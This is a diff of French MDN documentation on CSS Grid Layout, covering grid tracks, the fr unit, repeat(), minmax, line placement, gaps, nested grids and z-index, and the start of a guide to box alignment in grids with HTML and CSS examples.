+ +

Création de pistes supplémentaires pour du contenu

+ +

Lorsqu'une grille explicite n'est pas définie, la spécification prend en charge le contenu défini en dehors d'une grille en ajoutant des colonnes et des rangées. Cela comprend des fonctionnalités telles qu'« ajouter autant de colonnes que possible dans le conteneur ».

+ +

Contrôle de l'alignement

+ +

On peut contrôler l'alignement des éléments dans une zone de la grille, ainsi que celui de l'ensemble de la grille.

+ +

Contrôle des contenus qui se chevauchent

+ +

Il peut arriver que l'on place plusieurs éléments dans une même cellule, ou que des zones se chevauchent. La superposition peut être contrôlée à l'aide de la propriété {{cssxref("z-index")}}.

+ +

La grille est une spécification puissante qui peut être combinée avec d'autres modules CSS tels que flexbox. Le point de départ est le conteneur.

+ +

Le conteneur

+ +

À partir du moment où on crée un conteneur en déclarant la propriété display: grid ou display: inline-grid sur un élément, tous les enfants directs de cet élément deviennet des éléments de grille.

+ +

Cet exemple montre une div avec une classe .wrapper, avec cinq éléments enfants.

+ +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+</div>
+
+ +

On transforme .wrapper en conteneur.

+ +
.wrapper {
+  display: grid;
+}
+
+ + + +

{{ EmbedLiveSample('Le_conteneur', '200', '330') }}

+ +

Tous les enfants directs sont maintenant des éléments de grille. On ne voit pas la différence dans un navigateur, car la grille n'a qu'une seule colonne. Vous trouverez sans doute utile de travailler avec Firefox, qui propose un inspecteur de grille dans les outils de développement. En inspectant la grille dans Firefox, vous pouvez voir une petite icône à côté de la valeur grid. Un clic dessus permet d'afficher la grille correspondante dans le navigateur.

+ +

Using the Grid Highlighter in DevTools to view a grid

+ +

Cet outil vous permettra de mieux comprendre le fonctionnement de CSS Grid Layout.

+ +

Pour que notre exemple ressemble vraiment à une grille nous devons ajouter des colonnes.

+ +

Les pistes

+ +

Les propriétés {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}} permettent de définir des colonnes et des rangées. Celles-ci définissent les pistes. Une piste est l'espace entre deux lignes d'une grille. L'image ci-dessous colore une piste de la grille – correspondant à la première rangée de la grille.

+ +

+ +

On peut ajouter la propriété grid-template-columns à notre exemple précédent, pour définir la taille des colonnes.

+ +

Nous avons créé une grille avec trois pistes de 200 pixels de large. Chaque élément sera disposé dans l'une des cellules de la grille.

+ +
+
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+}
+
+ + + +

{{ EmbedLiveSample('grid_first', '610', '140') }}

+
+ +

L'unité fr

+ +

Les pistes peuvent être définies à l'aide de n'importe quelle unité de mesure. Les grilles proposent aussi une nouvelle unité de mesure pour aider à la création de pistes flexibles. Cette unité, fr, représente une fraction de l'espace disponible dans le conteneur de la grille. Le code suivant crée trois colonnes égales qui se redimensionnent en fonction de l'espace disponible.

+ +
+
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+ + + +

{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}

+
+ +

L'exemple suivant crée une grille avec une colonne de 2fr, et deux colonnes de 1fr. L'espace disponible est divisé en quatre. Les deux premières fractions sont allouées à la première colonne, et chacune des colonnes suivante dispose d'une fraction.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+
+ +

Dans ce dernier exemple nous utilisons à la fois des dimensions absolues et des relatives. La première colonne faisant 500px, cette valeur est soustraite de l'espace disponible. L'espace restant est divisé en trois et alloué proportionnellement aux deux colonnes spécifiées avec l'unité relative fr.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 500px 1fr 2fr;
+}
+
+ +

Utiliser la notation repeat() pour définir les pistes

+ +

Pour les grilles comprenant de nombreuses pistes on peut utiliser la notation repeat() pour répéter toute ou une partie des pistes définies. Par exemple la définition de grille :

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+ +

peut également s'écrire :

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ +

Dans l'exemple suivant on crée une grille avec une première colonne de 20px de large, puis une section répétant 6 fois une piste de 1fr, et enfin on termine par une colonne de 20px de large.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+
+ +

Cette notation accepte une liste de pistes, on peut donc l'utiliser pour répéter un motif. Dans l'exemple qui suit la grille aura 10 colonnes : une colonne de 1fr suivie d'une colonne de 2fr, ceci répété 5 fois.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(5, 1fr 2fr);
+}
+
+ +

Grille implicite et grille explicite

+ +

Dans ces exemples nous avons défini nos colonnes à l'aide de la propriété {{cssxref("grid-template-columns")}}, et nous avons laissé la grille créer les rangées. Ces rangées font partie de la grille implicite.La grille explicite est constituée des pistes définies par les propriétés {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}. Si un élément est placé en dehors de la grille ainsi définie, ou que la quantité de contenu nécessite d'étendre la grille, alors la grille ajoute implicitement des colonnes et rangées. Les dimensions de ces pistes auront par défaut la valeur auto, c'est-à dire qu'elles s'ajusteront à leur contenu.

+ +

On peut définir une taille pour les pistes de la grille implicite grâce aux propriéts {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}.

+ +

Dans l'exemple ci-après nous utilisons grid-auto-rows pour que les rangées de la grille implicite fassent 200 pixels de haut.

+ +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 200px;
+}
+
+ + + +

{{ EmbedLiveSample('Grille_implicite_et_grille_explicite', '230', '420') }}

+ +

Dimensionner une piste avec minmax

+ +

Que l'on crée une grille explicite, ou que l'on définisse la taille des pistes créées implicitement, il peut être utile d'assigner une taille minimum, qui s'agrandit pour s'adapter au contenu. Par exemple on peut souhaiter que les rangées ne soient jamais moins hautes que 100 pixels, mais qu'elles aillent jusqu'à 300 pixels de haut si le contenu le nécessite.

+ +

La fonction {{cssxref("minmax", "minmax()")}} permet ce comportement. Dans l'exemple suivant nous utilisons minmax() comme valeur de la propriété {{cssxref("grid-auto-rows")}}. Les rangées créées automatiquement feront un minimum de 100 pixels, et un maximum de auto, ce qui signifie que la taille s'adaptera à la hauteur du contenu.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+
+ + + +
<div class="wrapper">
+   <div>Un</div>
+   <div>Deux
+     <p>Davantage de contenu.</p>
+     <p>On dépasse les 100 pixels.</p>
+   </div>
+   <div>Trois</div>
+   <div>Quatre</div>
+   <div>Cinq</div>
+</div>
+
+ +

{{ EmbedLiveSample('Dimensionner_une_piste_avec_minmax', '240', '470') }}

+ +

Lignes de grille

+ +

Il faut noter que l'on définit les pistes d'une grille, et pas les lignes qui en résultent. La grille génère des lignes numérotées que l'on utilise pour positionner les éléments. Dans notre grille de trois colonnes et deux rangées, nous avons quatre lignes de colonnes.

+ +

Grid Lines

+ +

Les lignes sont numérotées selon le sens de lecture du document. Dans un langage qui se lit de gauche à droite, la ligne 1 est située à gauche, dans un langage qui se lit de droite à gauche elle est située à droite. Les lignes peuvent aussi être nommées, comme nous le verrons plus loin dans ces pages.

+ +

Positionnement des éléments sur les lignes

+ +

Nous explorerons le placement sur les lignes plus en détail dans un prochain article, l'exemple qui suit montre comment l'utiliser de façon simple.

+ +

Lorsque nous plaçons un élément nous ciblons une ligne plutôt qu'une piste. Nous plaçons ici les deux premiers éléments en utilisant les propriétés {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} et {{cssxref("grid-row-end")}}. En allant de gauche à droite, le premier élément est placé sur la ligne de colonne 1, et va jusqu'à la ligne de colonne 4, qui dans ce cas est la dernière. Il est placé sur la ligne de rangée 1, et va jusqu'à la ligne 3, s'étendant ainsi sur deux rangées.

+ +

Le second élément commence sur la ligne de colonne 1 et s'étend sur une seule piste. C'est la largeur par défaut, donc il n'est pas nécessaire de spécifier la ligne de fin. Il s'étend aussi sur deux rangées de la ligne 3 à la ligne 5. Les autres éléments se placeront dans les espaces vides de la grille.

+ +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+  <div class="box4">Quatre</div>
+  <div class="box5">Cinq</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+
+ + + +

{{ EmbedLiveSample('Positionnement_des_éléments_sur_les_lignes', '230', '420') }}

+ +

Pensez à utiliser l'Inspecteur de grille dans les outils de développement pour voir comment les éléments se placent sur les lignes d'une grille items.

+ +

Les cellules

+ +

Une cellule est la plus petite unité sur une grille, conceptuellement similaire à une cellule de tableau. Comme nous l'avons vu lorsqu'une grille est définie sur un élément ses enfants viennent se positionner chacun dans l'une des cellules de la grille. Dans l'image ci-dessous la première cellule est colorée.

+ +

The first cell of the grid highlighted

+ +

Les zones

+ +

Un élément peut s'étendre sur plusieurs cellules d'une rangée ou d'une colonne, et cela crée une zone. Les zones doivent être rectangulaires - on ne peut pas créer de forme en L par exemple. La zone colorée ci-dessous s'étend sur deux rangées et deux colonnes.

+ +

A grid area

+ +

Les gouttières

+ +

Les gouttières entre les cellules sont définies à l'aide des propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}}, ou de la propriété raccourcie {{cssxref("grid-gap")}}. Dans l'exemple ci-dessous nous créons une gouttière de dix pixels de large entre les colonnes, et une gouttière de 1em de hauteur entre les rangées.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-column-gap: 10px;
+  grid-row-gap: 1em;
+}
+
+ +
+

Note : Les anciens navigateurs utilisent {{cssxref("column-gap")}}, {{cssxref("row-gap")}}, {{cssxref("gap")}} avec le préfixe grid- soit : {{cssxref("grid-column-gap")}}, {{cssxref("grid-row-gap")}} et {{cssxref("grid-gap")}}.

+ +

Les navigateurs actuels retirent progressivement ce préfixe (la version préfixée sera maintenue sous forme d'alias). À l'heure actuelle, certains navigateurs ne prennent pas encore la version sans préfixe et c'est pourquoi certains exemples de ce guide continuent d'utiliser les versions préfixées avec grid-.

+
+ +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+</div>
+
+ + + +

{{ EmbedLiveSample('Les_gouttières') }}

+ +

L'espace utilisé par les gouttières sera pris en compte avant l'assignation de la place restante aux pistes définies avec l'unité fr. La taille des gouttières est calculée comme celle des pistes, mais on ne peut pas placer d'élément dans une gouttière. Au niveau du positionnement des éléments sur les lignes, la gouttière se comporte comme une ligne épaisse.

+ +

Grilles imbriquées

+ +

Un élément placé dans une grille peut aussi être le conteneur d'une autre grille. Dans l'exemple suivant nous retrouvons la grille de trois colonnes créée plus haut, avec deux éléments explicitement positionnés. Le premier élément contient lui-même des éléments. Comme ils ne sont pas des enfants directs de la grille principale, ils se positionnent normalement dans le flux.

+ +
+
<div class="wrapper">
+  <div class="box box1">
+    <div class="nested">a</div>
+    <div class="nested">b</div>
+    <div class="nested">c</div>
+  </div>
+  <div class="box box2">Deux</div>
+  <div class="box box3">Trois</div>
+  <div class="box box4">Quatre</div>
+  <div class="box box5">Cinq</div>
+</div>
+
+ +

Nested grid in flow

+ +

En définissant la propriété display:grid sur l'élément box1, il devient lui-même une grille et ses enfants se positionnent sur cette grille.

+ +
.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ + +
+ +

{{ EmbedLiveSample('nesting', '600', '340') }}

+ +

Dans ce cas la grille imbriquée n'est pas liée à la grille qui la contient. Elle n'hérite pas des {{cssxref("grid-gap")}}, et ses lignes ne s'alignent pas avec celles de la grille parent.

+ +

Sous-grille

+ +

Dans le brouillon de travaille pour la spécification de niveau 2 pour CSS Grid, il existe une fonctionnalité nommée sous-grille qui permet de créer des grilles imbriquées qui utilisent la définition de la grille parent. Ceci n'est implémenté dans aucun navigateur pour le moment, et la spécification peut encore changer. Pour l'utiliser telle qu'elle est définie actuellement il faudrait modifier l'exemple suivant et remplacer display: grid par display: subgrid, et supprimer la définition des pistes. La piste imbriquée utiliserait les pistes de la grille parent pour positionner ses éléments.

+ +

Selon la version actuelle de la spécifiction, il faudrait éditer l'exemple de grille imbriquée précédent et remplacer grid-template-columns: repeat(3, 1fr) en grid-template-columns: subgrid. La grille imbriquée utilisera alors la grille parente pour inscrire ses éléments dans le document.

+ +
.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: grid;
+  grid-template-columns: subgrid;
+}
+
+ +

Superposer les éléments avec z-index

+ +

Plusieurs éléments peuvent être placés dans la même cellule. Si nous retournons à notre exemple avec les items positionnés par numéros de ligne, nous pouvons modifier cela pour que deux items se chevauchent.

+ +
+
<div class="wrapper">
+  <div class="box box1">Un</div>
+  <div class="box box2">Deux</div>
+  <div class="box box3">Trois</div>
+  <div class="box box4">Quatre</div>
+  <div class="box box5">Cinq</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+}
+
+ + +
+ +

{{ EmbedLiveSample('l_ex', '230', '420') }}

+ +

L'élément box2 est maintenant superposé avec box1, et comme il arrive après dans le code source il s'affiche par-dessus.

+ +

Contrôler l’ordre de superposition

+ +

On peut contrôler l'ordre dans lequel les éléments s'empilent en utilisant la propriété z-index. Si nous donnons à box2 un z-index inférieur à celui de box1, l'élément box2 s'affichera sous box1 dans la pile.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  z-index: 2;
+}
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+  z-index: 1;
+}
+
+ + + +

{{ EmbedLiveSample("Contrôler_l’ordre_de_superposition", '230', '420') }}

+ +

La suite

+ +

Dans cet article nous avons parcouru rapidement la spécification CSS Grid Layout. Essayez de jouer avec les exemples, avant de passer aux parties suivantes de ce guide pour commencer à vraiment plonger dans le détail de la CSS Grid Layout.

+ +

{{PreviousMenuNext("", "Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/fr/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html new file mode 100644 index 0000000000..8353f2c29e --- /dev/null +++ b/files/fr/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html @@ -0,0 +1,661 @@ +--- +title: L'alignement des boîtes avec les grilles CSS +slug: Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS +tags: + - CSS + - CSS Grid + - Grille CSS + - Guides + - Intermédiaire +translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture","Web/CSS/CSS_Grid_Layout")}}

+ +

Si vous connaissez les boîtes flexibles (flexbox) vous savez déjà comment aligner les éléments flexibles à l'intérieur d'un conteneur flexible. Ces propriétés d'alignement, initialement spécifiée dans la spécification des boîtes flexibles, sont désormais spécifiées dans une nouvelle spécification Box Alignment Level 3. Cette spécification détaille le fonctionnement de l'alignement pour les différentes méthodes de disposition.

+ +

Chaque méthode de disposition qui implémente cette nouvelle spécification se comportera légèrement différemment selon les différences de contraintes et de fonctionnalités (et aussi selon le comportement historique). On ne pourra donc pas avoir un alignement exactement homogène. La spécification pour l'alignement des boîtes détaille le fonctionnement de chaque méthode mais malheureusement, à l'heure actuelle, aucun navigateur ne prend en charge cette spécification. À l'heure actuelle, les navigateurs respectent les règles de cette spécification pour l'alignement et la répartition de l'espace lorsqu'on utilise une disposition en grille. Dans cet article, nous verrons comment celles-ci fonctionnent. On retrouvera de nombreux points communs avec les boîtes flexibles pour le fonctionnement de ces propriétés et valeurs. Toutefois, les grilles fonctionnant sur deux axes et les boîtes flexibles sur un seul, il faudra faire attention à quelques différences. Commençons par analyser les deux axes utilisés lorsqu'il s'agit d'aligner des objets sur une grille.

+ +

Les deux axes d'une grille

+ +

Lorsqu'on manipule une grille, on dispose  de deux axes sur lesquels aligner les objets. L'axe de bloc et l'axe en ligne. L'axe de bloc est l'axe selon lequel les blocs sont disposés quand on a une disposition en bloc (block layout). Par exemple, si on a deux paragraphes sur une page, par défaut, ils s'affichent l'un en dessous de l'autre.

+ +

+ +

L'axe en ligne est orthogonal à l'axe de bloc. C'est la direction selon laquelle progresse le texte.

+ +

+ +

Grâce aux propriétés et à leurs valeurs, nous serons en mesure d'aligner le contenu de la grillle par rapport à ces deux axes.

+ +

Aligner des objets sur l'axe de bloc (block axis)

+ +

Les propriétés {{cssxref("align-self")}} et {{cssxref("align-items")}} permettent de contrôler l'alignement selon l'axe de bloc. Lorsqu'on utilise ces propriétés, on modifie l'alignement de l'objet au sein de la zone de grille sur laquelle il est placé.

+ +

Dans l'exemple suivant, on a quatre zones sur la grille. On peut utiliser la propriété {{cssxref("align-items")}} sur le conteneur de la grille afin d'aligner les objets avec l'une des valeurs suivantes :

+ +
    +
  • auto
    • +
  • normal
    • +
  • start
    • +
  • end
    • +
  • center
    • +
  • stretch
    • +
  • baseline
    • +
  • first baseline
    • +
  • last baseline
    • +
+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+  align-items: start;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+</div>
+
+ +

{{EmbedLiveSample('alignment_1', '500', '450')}}

+
+ +

Lorsqu'on utilise align-self: start, la hauteur de chaque <div> sera déterminée par le contenu du <div>. En revanche, si on n'utilise pas {{cssxref("align-self")}}, chaque <div> sera étiré afin de remplir la zone de la grille.

+ +

La propriété {{cssxref("align-items")}} définit en fait la valeur de la propriété {{cssxref("align-self")}} pour tous les éléments fils de la grille. Cela signifie qu'on peut avoir un réglage plus fin sur chacun des objets de la grille en utilisant align-self pour les objets.

+ +

Dans le prochain exemple, on utilise la propriété align-self afin d'illustrer les différentes valeurs pour l'alignement. La première zone illustre le comportement par défaut pour align-self : l'objet est étiré. Le deuxième objet utilise la valeur start, le troisième utilise end et le quatrième utilise center.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  align-self: start;
+}
+.item3 {
+  grid-area: c;
+  align-self: end;
+}
+.item4 {
+  grid-area: d;
+  align-self: center;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+</div>
+
+ +

{{EmbedLiveSample('alignment_2', '500', '450')}}

+
+ +

Gestion des objets avec un ratio intrinsèque

+ +

La spécification indique que le comportement par défaut pour {{cssxref("align-self")}} est d'étirer l'objet sauf si celui-ci possède un ratio intrinsèque. Dans ce cas, le comportement par défaut correspond à la valeur start. En effet, si le comportement par défaut était le même pour les éléments avec un ratio intrinsèque (une image matricielle par exemple), l'étirement distordrait l'objet.

+ +

Bien que ce comportement ait récemment été clarifié dans la spécification, il n'est pas encore implémenté dans les différents navigateurs. Pour le moment, il faut donc s'assurer d'utiliser {{cssxref("align-self")}} et {{cssxref("justify-self")}} avec les valeurs start pour les éléments concernés comme les images. Cela correspondra au comportement par défaut lorsqu'il aura été implémenté.

+ +

Justifier les objets sur l'axe en ligne (inline axis)

+ +

{{cssxref("align-items")}} et {{cssxref("align-self")}} gèrent l'alignement des objets sur l'axe de bloc. {{cssxref("justify-items")}} et {{cssxref("justify-self")}} permettent quant à eux de gérer l'alignement sur l'axe en ligne. Les valeurs disponibles sont les mêmes que pour align-self :

+ +
    +
  • auto
    • +
  • normal
    • +
  • start
    • +
  • end
    • +
  • center
    • +
  • stretch
    • +
  • baseline
    • +
  • first baseline
    • +
  • last baseline
    • +
+ +

Juste après, on voit le même exemple qu'avec {{cssxref("align-items")}} où on a utilisé la propriété {{cssxref("justify-self")}}.

+ +

Là encore, la valeur par défaut stretch pour les objets qui n'ont pas de ratio intrinsèque. Cela signifie que, par défaut, les objets de la grille couvriront l'ensemble de la zone de grille sur laquelle ils sont placés. Dans l'exemple qui suit, le premier objet illustre cet alignement par défaut.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  justify-self: start;
+}
+.item3 {
+  grid-area: c;
+  justify-self: end;
+}
+.item4 {
+  grid-area: d;
+  justify-self: center;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+</div>
+
+ +

{{EmbedLiveSample('alignment_3', '500', '450')}}

+
+ +

Comme pour {{cssxref("align-self")}} et {{cssxref("align-items")}}, on peut utiliser la propriété {{cssxref("justify-items")}} sur le conteneur de la grille afin de régler la valeur de {{cssxref("justify-self")}} pour l'ensemble des objets de la grille.

+ +

Les propriétés {{cssxref("justify-self")}} et {{cssxref("justify-items")}} ne sont pas disponibles lorsqu'on utilise les boîtes flexibles car celles-ci s'étendent uniquement sur une dimension. Pour aligner les éléments sur l'axe principale d'une boîte flexible, on utilisera la propriété {{cssxref("justify-content")}}.

+ +

Propriétés raccourcies

+ +

La propriété {{CSSxRef("place-items")}} est une propriété raccourcie qui synthétise {{CSSxRef("align-items")}} et {{CSSxRef("justify-items")}}. {{CSSxRef("place-self")}} est une propriété raccourcie qui synthétise {{CSSxRef("align-self")}} et {{CSSxRef("justify-self")}}.

+ +

Centrer un objet sur une zone

+ +

En combinant les propriétés align-* et justify-*, on peut facilement centrer un objet sur sa zone de grille.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 200px;
+  grid-template-areas:
+    ". a a ."
+    ". a a .";
+}
+.item1 {
+  grid-area: a;
+  align-self: center;
+  justify-self: center;
+}
+
+ +
<div class="wrapper">
+ <div class="item1">Objet 1</div>
+</div>
+
+ +

{{EmbedLiveSample('alignment_4', '500', '480')}}

+
+ +

Aligner les pistes d'une grille sur l'axe de bloc

+ +

Si on a des pistes qui n'occupent pas tout l'espace du conteneur, on pourra aligner les pistes au sein du conteneur. Là aussi, on peut obtenir cet alignement sur l'axe des colonnes et l'axe des lignes : {{cssxref("align-content")}} permet d'aligner les pistes selon l'axe des colonnes et {{cssxref("justify-content")}} permettant d'aligner sur l'axe en ligne.

+ +

La propriété {{cssxref("place-content")}} est une propriété raccourcie pour {{cssxref("align-content")}} et {{cssxref("justify-content")}}.

+ +

Les valeurs disponibles pour {{cssxref("align-content")}}, {{cssxref("justify-content")}} et {{cssxref("place-content")}} sont :

+ +
    +
  • normal
    • +
  • start
    • +
  • end
    • +
  • center
    • +
  • stretch
    • +
  • space-around
    • +
  • space-between
    • +
  • space-evenly
    • +
  • baseline
    • +
  • first baseline
    • +
  • last baseline
    • +
+ +

Dans l'exemple qui suit, on a un conteneur qui mesure 500 pixels de haut sur 500 pixels de large. On définit trois pistes de ligne et trois pistes de colonnes qui mesurent chacune 100 pixels et avec une gouttière de 10 pixels. On a donc un espace disponible dans le conteneur dans chaque direction.

+ +

La propriété align-content s'applique sur le conteneur de la grille car elle porte sur l'ensemble de la grille. Pour une disposition en grille, la valeur par défaut est start : cela indique que les pistes commencent à partir du coin en haut à gauche de la grille.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+</div>
+
+ +

{{EmbedLiveSample('alignment_5', '500', '520')}}

+
+ +

Si on ajoute align-content avec la valeur end sur le conteneur, les pistes seront déplacées à la fin du conteneur selon l'axe des colonnes.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: end;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+</div>
+
+ +

{{EmbedLiveSample('alignment_6', '500', '520')}}

+
+ +

Pour cette propriété, on peut également utiliser des valeurs qu'on manipule avec les boîtes flexibles : space-between, space-around et space-evenly qui permettent de répartir l'espace. Si on utilise {{cssxref("align-content")}} avec space-between pour notre exemple, on voit alors que les éléments sont espacés de façon équitable.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+</div>
+
+ +

{{EmbedLiveSample('alignment_7', '500', '1570')}}

+
+ +

On notera qu'en utilisant ces valeurs pour répartir l'espace, cela peut agrandir les objets de la grille. Si un objet s'étale sur plusieurs pistes, un espace sera ajouté entre chaque piste afin que l'objet qui doit être agrandi puisse absorber cet espace. Aussi, si vous choisissez d'utiliser ces valeurs, assurez-vous que le contenu des pistes puisse absorber cet espace supplémentaire ou que les propriétés d'alignement les renvoient au début de la piste plutôt que de les étirer.

+ +

Dans l'image qui suit, on a a placé une grille en utilisant align-content: start et une autre grille qui utilise align-content: space-between. On peut voir la façon dont les objets 1 et 2 (qui s'étalent sur deux lignes) ont gagné en hauteur pour combler l'espace entre les pistes.

+ +

+ +

Justifier les pistes sur l'axe des lignes

+ +

Sur l'axe des lignes, on peut utiliser {{cssxref("justify-content")}} de la même façon qu'on utilisait {{cssxref("align-content")}} pour l'axe des colonnes.

+ +

Avec le même exemple, on utilise {{cssxref("justify-content")}} avec la valeur space-around. Là encore, les pistes qui s'étalent sur plus d'une colonne gagnent en largeur.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+  justify-content: space-around;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
